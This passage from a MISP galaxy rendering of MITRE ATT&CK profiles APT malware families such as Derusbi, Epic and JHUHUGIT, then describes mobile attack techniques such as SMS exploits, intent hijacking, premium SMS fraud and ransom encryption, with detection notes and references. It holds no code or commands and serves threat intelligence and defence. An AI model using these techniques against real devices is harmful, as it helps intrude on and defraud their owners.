https://attack.mitre.org/wiki/Software/S0052
https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf

LOWBALL

LOWBALL is malware used by admin@338. It was used in August 2015 in email messages targeting Hong Kong-based media organizations.[[Citation: FireEye admin@338]]

The tag is: *misp-galaxy:mitre-malware="LOWBALL"*

Table 2552. Table References

Links
https://attack.mitre.org/wiki/Software/S0042
https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html

BLACKCOFFEE

BLACKCOFFEE is malware that has been used by APT17 since at least 2013.[[Citation: FireEye APT17]]

The tag is: *misp-galaxy:mitre-malware="BLACKCOFFEE"*

Table 2553. Table References

Links
https://attack.mitre.org/wiki/Software/S0069
https://www2.fireeye.com/rs/fireeye/images/APT17%20Report.pdf

Derusbi

Derusbi is malware used by multiple Chinese APT groups.[[Citation: Axiom]][[Citation:

ThreatConnect Anthem]] Both Windows and Linux variants have been observed.[[Citation: Fidelis Turbo]]

The tag is: *misp-galaxy:mitre-malware="Derusbi"*

Derusbi has relationships with:

- similar: misp-galaxy:tool="Derusbi" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Derusbi" with estimative-language:likelihood-probability="likely"

Table 2554. Table References

Links
https://attack.mitre.org/wiki/Software/S0021
https://www.fidelissecurity.com/sites/default/files/TA%20Fidelis%20Turbo%201602%200.pdf
http://www.novetta.com/wp-content/uploads/2014/11/Executive%20Summary-Final%201.pdf
https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/

Epic

Epic is a backdoor that has been used by Turla.[[Citation: Kaspersky Turla]]

Aliases: Epic, Tavdig, Wipbot, WorldCupSec, TadjMakhal

The tag is: *misp-galaxy:mitre-malware="Epic"*

Epic is also known as:

- Epic
- Tavdig
- Wipbot
- WorldCupSec
- TadjMakhal

Epic has relationships with:

- similar: misp-galaxy:tool="Wipbot" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Wipbot" with estimative-language:likelihood-probability="likely"

Table 2555. Table References

Links
https://attack.mitre.org/wiki/Software/S0091
https://securelist.com/analysis/publications/65545/the-epic-turla-operation/

Lurid

Lurid is a malware family that has been used by several groups, including PittyTiger, in targeted attacks as far back as 2006.[[Citation: Villeneuve 2014]][[Citation: Villeneuve 2011]]

Aliases: Lurid, Enfal

The tag is: *misp-galaxy:mitre-malware="Lurid"*

Lurid is also known as:

- Lurid
- Enfal

Lurid has relationships with:

- similar: misp-galaxy:malpedia="Enfal" with estimative-language:likelihood-probability="likely"

Table 2556. Table References

Links
https://attack.mitre.org/wiki/Software/S0010
https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html
http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp%20dissecting-lurid-apt.pdf

3PARA RAT

3PARA RAT is a remote access tool (RAT) programmed in C++ that has been used by Putter Panda.[[Citation: CrowdStrike Putter Panda]]

The tag is: *misp-galaxy:mitre-malware="3PARA RAT"*

3PARA RAT has relationships with:

- similar: misp-galaxy:rat="3PARA RAT" with estimative-language:likelihood-probability="likely"

Table 2557. Table References

Links
https://attack.mitre.org/wiki/Software/S0066
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf

JHUHUGIT

JHUHUGIT is malware used by APT28. It is based on Carberp source code and serves as reconnaissance malware.[[Citation: Kaspersky Sofacy]][[Citation: F-Secure Sofacy 2015]][[Citation: ESET Sednit Part 1]][[Citation: FireEye APT28 January 2017]]

Aliases: JHUHUGIT, Seduploader, JKEYSKW, Sednit, GAMEFISH

The tag is: *misp-galaxy:mitre-malware="JHUHUGIT"*

JHUHUGIT is also known as:

- JHUHUGIT
- Seduploader
- JKEYSKW
- Sednit
- GAMEFISH

JHUHUGIT has relationships with:

- similar: misp-galaxy:tool="GAMEFISH" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="SOURFACE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="CORESHELL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Komplex" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Seduploader" with estimative-language:likelihood-probability="likely"

Table 2558. Table References

Links
https://attack.mitre.org/wiki/Software/S0044
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf
https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf
https://labsblog.f-secure.com/2015/09/08/sofacy-recycles-carberp-and-metasploit-code/
https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/

ELMER

ELMER is a non-persistent, proxy-aware HTTP backdoor written in Delphi that has been used by APT16.[[Citation: FireEye EPS Awakens Part 2]]

The tag is: *misp-galaxy:mitre-malware="ELMER"*

Table 2559. Table References

Links
https://attack.mitre.org/wiki/Software/S0064
https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html

Mobile Attack - Attack Pattern

ATT&CK tactic.

Mobile Attack - Attack Pattern is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

MITRE

Malicious SMS Message - MOB-T1057

An SMS message could contain content designed to exploit vulnerabilities in the SMS parser on the receiving device. For example, Mulliner and Miller demonstrated such an attack against the iPhone in 2009 as described in (Citation: Forbes-iPhoneSMS).

An SMS message could also contain a link to a web site containing malicious content designed to exploit the device web browser.

As described by SRLabs in (Citation: SRLabs-SIMCard), vulnerable SIM cards may be remotely exploited and reprogrammed via SMS messages.

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Malicious SMS Message - MOB-T1057"*

Table 2560. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1057
http://www.forbes.com/2009/07/28/hackers-iphone-apple-technology-security-hackers.html
https://srlabs.de/bites/rooting-sim-cards/

Eavesdrop on Insecure Network Communication - MOB-T1042

If network traffic between the mobile device and remote servers is unencrypted or is encrypted in an insecure manner, then an adversary positioned on the network can eavesdrop on communication. For example, He et al. (Citation: mHealth) describe numerous healthcare-related applications that did not properly protect network communication.

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Eavesdrop on Insecure Network Communication - MOB-T1042"*

Table 2561. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1042
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-0.html
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-1.html
https://experts.illinois.edu/en/publications/security-concerns-in-android-mhealth-apps

Disguise Root/Jailbreak Indicators - MOB-T1011

An adversary could use knowledge of the techniques used by security software to evade detection. For example, some mobile security products perform compromised device detection by searching for particular artifacts such as an installed "su" binary, but that check could be evaded by naming the binary something else. Similarly, polymorphic code techniques could be used to evade signature-based detection as described by (Citation: Rastogi) et al. (Citation: Rastogi).

```
(Citation: Brodie) (Citation: Brodie) describes limitations of jailbreak/root
detection mechanisms.
```

```
(Citation: Tan) (Citation: Tan) describes his experience defeating the jailbreak
detection used by the iOS version of Good for Enterprise.
```

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Disguise Root/Jailbreak Indicators - MOB-T1011"*

Table 2562. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1011
https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-5.html
http://pages.cs.wisc.edu/vrastogi/static/papers/rcj13b.pdf[http://pages.cs.wisc.edu/vrastogi/static/papers/rcj13b.pdf]
https://media.blackhat.com/eu-13/briefings/Brodie/bh-eu-13-lacoon-attacks-mdm-brodie-wp.pdf
http://www.blackhat.com/us-16/briefings.html#bad-for-enterprise-attacking-byod-enterprise-mobile-security-solutions

Device Type Discovery - MOB-T1022

On Android, device type information is accessible to apps through the android.os.Build class (Citation: Android-Build). Device information could be used to target privilege escalation exploits.

Platforms: Android

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Device Type Discovery - MOB-T1022"*

Table 2563. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1022
https://zeltser.com/third-party-keyboards-security/

Premium SMS Toll Fraud - MOB-T1051

A malicious app could use standard Android APIs to send SMS messages. SMS messages could potentially be sent to premium numbers that charge the device owner and generate revenue for an adversary, for example as described by Lookout in (Citation: Lookout-SMS).

On iOS, apps cannot send SMS messages.

On Android, apps must hold the SEND_SMS permission to send SMS messages. Additionally, Android version 4.2 and above has mitigations against this threat by requiring user consent before allowing SMS messages to be sent to premium numbers (Citation: AndroidSecurity2014).

Detection: As described in Google's Android Security 2014 Year in Review Report (Citation: AndroidSecurity2014), starting with Android 4.2 the user is prompted and must provide consent before applications can send SMS messages to premium numbers.

On Android 6.0 and up, the user can view which applications have permission to send SMS messages through the device settings screen, and the user can choose to revoke the permissions.

Platforms: Android

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Premium SMS Toll Fraud - MOB-T1051"*

Table 2564. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1051
https://blog.lookout.com/blog/2013/08/02/dragon-lady/
https://static.googleusercontent.com/media/source.android.com/en//security/reports/Google%20Android%20Security%202014%20Report%20Final.pdf

Obtain Device Cloud Backups - MOB-T1073

An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud backup services (e.g. Google's Android backup service or Apple's iCloud) could use that access to obtain sensitive data stored in device backups. For example, the Elcomsoft Phone Breaker product advertises the ability to retrieve iOS backup data from Apple's iCloud (Citation: Elcomsoft-EPPB).

Detection: Google provides the ability for users to view their account activity. Apple iCloud also provides notifications to users of account activity.

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Obtain Device Cloud Backups - MOB-T1073"*

Table 2565. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1073
https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-0.html
https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-1.html
https://www.elcomsoft.com/eppb.html

Access Sensitive Data in Device Logs - MOB-T1016

On versions of Android prior to 4.1, an adversary may use a malicious application that holds the READ_LOGS permission to obtain private keys, passwords, other credentials, or other sensitive data stored in the device's system log. On Android 4.1 and later, an adversary would need to attempt to perform an operating system privilege escalation attack to be able to access the log.

Platforms: Android

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Access Sensitive Data in Device Logs - MOB-T1016"*

Table 2566. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1016
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-3.html
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html

Attack PC via USB Connection - MOB-T1030

With escalated privileges, an adversary could program the mobile device to impersonate USB devices such as input devices (keyboard and mouse), storage devices, and/or networking devices in order to attack a physically connected PC. Wang and Stavrou (Citation: Wang-ExploitingUSB) and Kamkar (Citation: ArsTechnica-PoisonTap) describe this technique. This technique has been demonstrated on Android, and we are unaware of any demonstrations on iOS.

Platforms: Android

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Attack PC via USB Connection - MOB-T1030"*

Table 2567. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1030
https://pages.nist.gov/mobile-threat-catalogue/physical-threats/PHY-2.html

http://dl.acm.org/citation.cfm?id=1920314
http://arstechnica.com/security/2016/11/meet-poisontap-the-5-tool-that-ransacks-password-protected-computers/

Android Intent Hijacking - MOB-T1019

A malicious app can register to receive intents meant for other applications and may then be able to receive sensitive values such as OAuth authorization codes as described in (Citation: IETF-PKCE).

Platforms: Android

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Android Intent Hijacking - MOB-T1019"*

Table 2568. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1019
https://tools.ietf.org/html/rfc7636

URL Scheme Hijacking - MOB-T1018

An iOS application may be able to maliciously claim a URL scheme, allowing it to intercept calls that are meant for a different application. This technique, for example, could be used to capture OAuth authorization codes as described in (Citation: IETF-PKCE) or to phish user credentials as described in (Citation: MobileIron-XARA). Related potential security implications are described in (Citation: Dhanjani-URLScheme). FireEye researchers describe URL scheme hijacking in a blog post (Citation: FireEye-Masque2), including evidence of its use.

Platforms: iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="URL Scheme Hijacking - MOB-T1018"*

Table 2569. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1018
https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-10.html
https://tools.ietf.org/html/rfc7636
https://www.mobileiron.com/en/smartwork-blog/ios-url-scheme-hijacking-xara-attack-analysis-and-countermeasures
http://www.dhanjani.com/blog/2010/11/insecure-handling-of-url-schemes-in-apples-ios.html
https://www.fireeye.com/blog/threat-research/2015/02/ios%20masque%20attackre.html

Exploit Enterprise Resources - MOB-T1031

Adversaries may attempt to exploit enterprise servers, workstations, or other resources over the network. This technique may take advantage of the mobile device's access to an internal enterprise network either through local connectivity or through a Virtual Private Network (VPN).

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Exploit Enterprise Resources - MOB-T1031"*

Table 2570. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1031
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-32.html

Modify System Partition - MOB-T1003

If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device system partition, where it may persist after device resets and may not be easily removed by the device user.

Many Android devices provide the ability to unlock the bootloader for development purposes. An unlocked bootloader may provide the ability for an adversary to modify the system partition. Even if the bootloader is locked, it may be possible for an adversary to escalate privileges and then modify the system partition.

Detection: Android devices with the Verified Boot capability (Citation: Android-VerifiedBoot) perform cryptographic checks of the integrity of the system partition.

The Android SafetyNet API's remote attestation capability could potentially be used to identify and respond to compromised devices.

Samsung KNOX also provides a remote attestation capability on supported Samsung Android devices.

As described in the iOS Security Guide (Citation: Apple-iOSSecurityGuide), iOS devices will fail to boot or fail to allow device activation if unauthorized modifications are detected.

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Modify System Partition - MOB-T1003"*

Table 2571. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1003
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html
https://source.android.com/security/verifiedboot/
https://www.apple.com/business/docs/iOS%20Security%20Guide.pdf

System Information Discovery - MOB-T1029

An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, and architecture.

On Android, much of this information is programmatically accessible to applications through the android.os.Build class (Citation: Android-Build).

On iOS, techniques exist for applications to programmatically access this information, for example as described in (Citation: StackOverflow-iOSVersion).

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="System Information Discovery - MOB-T1029"*

Table 2572. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1029
https://zeltser.com/third-party-keyboards-security/
http://stackoverflow.com/questions/7848766/how-can-we-programmatically-detect-which-ios-version-is-device-running-on

Network Service Scanning - MOB-T1026

Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans from the mobile device. This technique may take advantage of the mobile device's access to an internal enterprise network either through local connectivity or through a Virtual Private Network (VPN).

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Network Service Scanning - MOB-T1026"*

Table 2573. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1026

Access Call Log - MOB-T1036

On Android, an adversary could call standard operating system APIs from a malicious application to gather call log data, or with escalated privileges could directly access files containing call log data.

On iOS, applications do not have access to the call log, so privilege escalation would be required in order to access the data.

Detection: On Android 6.0 and up, the user can view which applications have permission to access call log information through the device settings screen, and the user can choose to revoke the permissions.

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Access Call Log - MOB-T1036"*

Table 2574. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1036
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html

Detect App Analysis Environment - MOB-T1043

An adversary could evade app vetting techniques by placing code in a malicious application to detect whether it is running in an app analysis environment and, if so, avoid performing malicious actions while under analysis.

Discussion of general Android anti-analysis techniques can be found in (Citation: Petsas). Discussion of Google Play Store-specific anti-analysis techniques can be found in (Citation: Oberheide-Bouncer), (Citation: Percoco-Bouncer).

```
(Citation: Wang) presents a discussion of iOS anti-analysis techniques.
```

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Detect App Analysis Environment - MOB-T1043"*

Table 2575. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1043
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-20.html
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-21.html
https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-22.html
http://dl.acm.org/citation.cfm?id=2592796
https://jon.oberheide.org/files/summercon12-bouncer.pdf
https://media.blackhat.com/bh-us-12/Briefings/Percoco/BH%20US%2012%20Percoco%20Adventures%20in%20Bouncerland%20WP.pdf
https://www.usenix.org/conference/usenixsecurity13/technical-sessions/presentation/wang%20tielei

Malicious Web Content - MOB-T1059

Content of a web page could be designed to exploit vulnerabilities in a web browser running on the mobile device.

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Malicious Web Content - MOB-T1059"*

Table 2576. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1059
https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-22.html

Fake Developer Accounts - MOB-T1045

An adversary could use fake identities, payment cards, etc., to create developer accounts to publish malicious applications to app stores. For example, Oberheide and Miller describe use of this technique in (Citation: Oberheide-Bouncer).

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Fake Developer Accounts - MOB-T1045"*

Table 2577. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1045
https://jon.oberheide.org/files/summercon12-bouncer.pdf

Malicious Media Content - MOB-T1060

Content of a media (audio or video) file could be designed to exploit vulnerabilities in parsers on the mobile device, as for example demonstrated by the Android Stagefright vulnerability (Citation: Zimperium-Stagefright).

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Malicious Media Content - MOB-T1060"*

Table 2578. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1060
https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-22.html
https://blog.zimperium.com/experts-found-a-unicorn-in-the-heart-of-android/

App Delivered via Email Attachment - MOB-T1037

The application is delivered as an email attachment.

Detection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted, known insecure, or malicious apps on devices. Enterprise email security solutions can identify the presence of Android or iOS application packages within email messages.

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="App Delivered via Email Attachment - MOB-T1037"*

Table 2579. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1037
https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-9.html
https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-13.html

Standard Application Layer Protocol - MOB-T1040

Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic.

In the mobile environment, the Google Cloud Messaging (GCM; two-way) and Apple Push Notification Service (APNS; one-way server-to-device) are commonly used protocols on Android and iOS respectively that would blend in with routine device traffic and are difficult for enterprises to inspect. As described by Kaspersky (Citation: Kaspersky-MobileMalware), Google responds to reports of abuse by blocking access to GCM.

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Standard Application Layer Protocol - MOB-T1040"*

Table 2580. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1040
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-29.html
https://securelist.com/analysis/kaspersky-security-bulletin/58335/mobile-malware-evolution-2013/

File and Directory Discovery - MOB-T1023

On Android, command line tools or the Java file APIs can be used to enumerate file system contents. However, Linux file permissions and SELinux policies generally strongly restrict what can be accessed by apps (without taking advantage of a privilege escalation exploit). The contents of the external storage directory are generally visible, which could present concern if sensitive data is inappropriately stored there.

iOS’s security architecture generally restricts the ability to perform file and directory discovery without use of escalated privileges.

Platforms: Android

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="File and Directory Discovery - MOB-T1023"*

Table 2581. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1023

Wipe Device Data - MOB-T1050

A malicious application could abuse Android device administrator access to wipe device contents, for example if a ransom is not paid.

Platforms: Android

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Wipe Device Data - MOB-T1050"*

Table 2582. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1050

Microphone or Camera Recordings - MOB-T1032

An adversary could use a malicious or exploited application to surreptitiously record activities using the device microphone and/or camera through use of standard operating system APIs.

Detection: On both Android (6.0 and up) and iOS, the user can view which applications have permission to use the microphone or the camera through the device settings screen, and the user can choose to revoke the permissions.

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Microphone or Camera Recordings - MOB-T1032"*

Table 2583. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1032
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-19.html

Malicious or Vulnerable Built-in Device Functionality - MOB-T1076

The mobile device could contain built-in functionality with malicious behavior or exploitable vulnerabilities. An adversary could deliberately insert and take advantage of the malicious behavior or could exploit inadvertent vulnerabilities. In many cases, it is difficult to be certain whether exploitable functionality is due to malicious intent or simply an inadvertent mistake.

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Malicious or Vulnerable Built-in Device Functionality - MOB-T1076"*

Table 2584. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1076

Obfuscated or Encrypted Payload - MOB-T1009

An app could contain malicious code in obfuscated or encrypted form, then deobfuscate or decrypt the code at runtime to evade many app vetting techniques, as described in (Citation: Rastogi) (Citation: Zhou) (Citation: TrendMicro-Obad) (Citation: Xiao-iOS).

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Obfuscated or Encrypted Payload - MOB-T1009"*

Table 2585. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1009
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-21.html
http://pages.cs.wisc.edu/vrastogi/static/papers/rcj13b.pdf[http://pages.cs.wisc.edu/vrastogi/static/papers/rcj13b.pdf]
http://ieeexplore.ieee.org/document/6234407
http://blog.trendmicro.com/trendlabs-security-intelligence/cybercriminals-improve-android-malware-stealth-routines-with-obad/
http://www.slideshare.net/Shakacon/fruit-vs-zombies-defeat-nonjailbroken-ios-malware-by-claud-xiao

User Interface Spoofing - MOB-T1014

At least three methods exist to perform User Interface Spoofing:

First, on both Android and iOS, an adversary could impersonate the user interface of a legitimate app or device function to trick a user into entering account credentials.

Second, on both Android and iOS, a malicious app could impersonate the identity of another app in order to trick users into installing and using it.

Third, on older versions of Android, a malicious app could abuse mobile operating system features to interfere with a running legitimate app as described in (Citation: Felt-PhishingOnMobileDevices) and (Citation: Hassell-ExploitingAndroid). However, this technique appears to have been addressed starting in Android 5.0 with the deprecation of the Android's ActivityManager.getRunningTasks method and modification of its behavior (Citation: Android-getRunningTasks) and further addressed in Android 5.1.1 (Citation: StackOverflow-getRunningAppProcesses) to prevent a malicious app from determining what app is currently in the foreground.

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="User Interface Spoofing - MOB-T1014"*

Table 2586. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1014
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-31.html
http://w2spconf.com/2011/papers/felt-mobilephishing.pdf
http://conference.hitb.org/hitbsecconf2011kul/materials/D1T1
https://developer.android.com/reference/android/app/ActivityManager.html#getRunningTasks%28int%29
http://stackoverflow.com/questions/30619349/android-5-1-1-and-above-getrunningappprocesses-returns-my-application-packag

Exploit Baseband Vulnerability - MOB-T1058

A message sent over a radio interface (typically cellular, but potentially Bluetooth, GPS, NFC, Wi-Fi or other) to the mobile device could exploit a vulnerability in code running on the device.

A. Komaromy and N. Golde demonstrated baseband exploitation of a Samsung mobile device at the PacSec 2015 security conference (Citation: Register-BaseStation).

Weinmann described and demonstrated "the risk of remotely exploitable memory corruptions in cellular baseband stacks." (Citation: Weinmann-Baseband)

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Exploit Baseband Vulnerability - MOB-T1058"*

Table 2587. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1058
https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-18.html

https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-19.html
http://www.theregister.co.uk/2015/11/12/mobile%20pwn2own1/
https://www.usenix.org/system/files/conference/woot12/woot12-final24.pdf

Process Discovery - MOB-T1027

On Android versions prior to 5, applications can observe information about other processes that are running through methods in the ActivityManager class. On Android versions prior to 7, applications can obtain this information by executing the <code>ps</code> command, or by examining the <code>/proc</code> directory. Starting in Android version 7, use of the Linux kernel's <code>hidepid</code> feature prevents applications (without escalated privileges) from accessing this information (Citation: Android-SELinuxChanges).

Platforms: Android

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Process Discovery - MOB-T1027"*

Table 2588. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1027
https://code.google.com/p/android/issues/detail?id=205565

Abuse Device Administrator Access to Prevent Removal - MOB-T1004

A malicious application can request Device Administrator privileges. If the user grants the privileges, the application can take steps to make its removal more difficult.

Detection: The device user can view a list of apps with Device Administrator privilege in the device settings.

Platforms: Android

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Abuse Device Administrator Access to Prevent Removal - MOB-T1004"*

Table 2589. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1004
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-22.html

App Delivered via Web Download - MOB-T1034

The application is downloaded from an arbitrary web site. A link to the application's download URI may be sent in an email or SMS, placed on another web site that the target is likely to view, or sent via other means (such as QR code).

Detection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted, known insecure, or malicious apps on devices.

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="App Delivered via Web Download - MOB-T1034"*

Table 2590. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1034
https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-9.html
https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-21.html

Capture SMS Messages - MOB-T1015

A malicious application could capture sensitive data sent via SMS, including authentication credentials. SMS is frequently used to transmit codes used for multi-factor authentication.

On Android, a malicious application must request and obtain permission (either at app install time or run time) in order to receive SMS messages. Alternatively, a malicious application could attempt to perform an operating system privilege escalation attack to bypass the permission requirement.

On iOS, applications cannot access SMS messages in normal operation, so an adversary would need to attempt to perform an operating system privilege escalation attack to potentially be able to access SMS messages.

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Capture SMS Messages - MOB-T1015"*

Table 2591. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1015

Encrypt Files for Ransom - MOB-T1074

An adversary may encrypt files stored on the mobile device to prevent the user from accessing them, only unlocking access to the files after a ransom is paid. Without escalated privileges, the adversary is generally limited to only encrypting files in external/shared storage locations. This technique has been demonstrated on Android, and we are unaware of any demonstrated use on iOS.

Platforms: Android

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Encrypt Files for Ransom - MOB-T1074"*

Table 2592. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1074
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-28.html

Abuse of iOS Enterprise App Signing Key - MOB-T1048

An adversary could abuse an iOS enterprise app signing key (intended for enterprise in-house distribution of apps) to sign malicious iOS apps so that they can be installed on iOS devices without the app needing to be published on Apple's App Store. For example, Xiao describes use of this technique in (Citation: Xiao-iOS).

Detection: iOS 9 and above typically requires explicit user consent before allowing installation of applications signed with enterprise distribution keys rather than installed from Apple's App Store.

Platforms: iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Abuse of iOS Enterprise App Signing Key - MOB-T1048"*

Table 2593. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1048
https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-23.html
http://www.slideshare.net/Shakacon/fruit-vs-zombies-defeat-nonjailbroken-ios-malware-by-claud-xiao

Local Network Configuration Discovery - MOB-T1025

On Android, details of onboard network interfaces are accessible to apps through the java.net. (Citation: NetworkInterface) class (Citation: NetworkInterface). The Android (Citation: TelephonyManager) class can be used to gather related information such as the IMSI, IMEI, and phone number (Citation: TelephonyManager).

Platforms: Android

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Local Network Configuration Discovery - MOB-T1025"*

Table 2594. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1025
https://developer.android.com/reference/java/net/NetworkInterface.html
https://developer.android.com/reference/android/telephony/TelephonyManager.html

Alternate Network Mediums - MOB-T1041

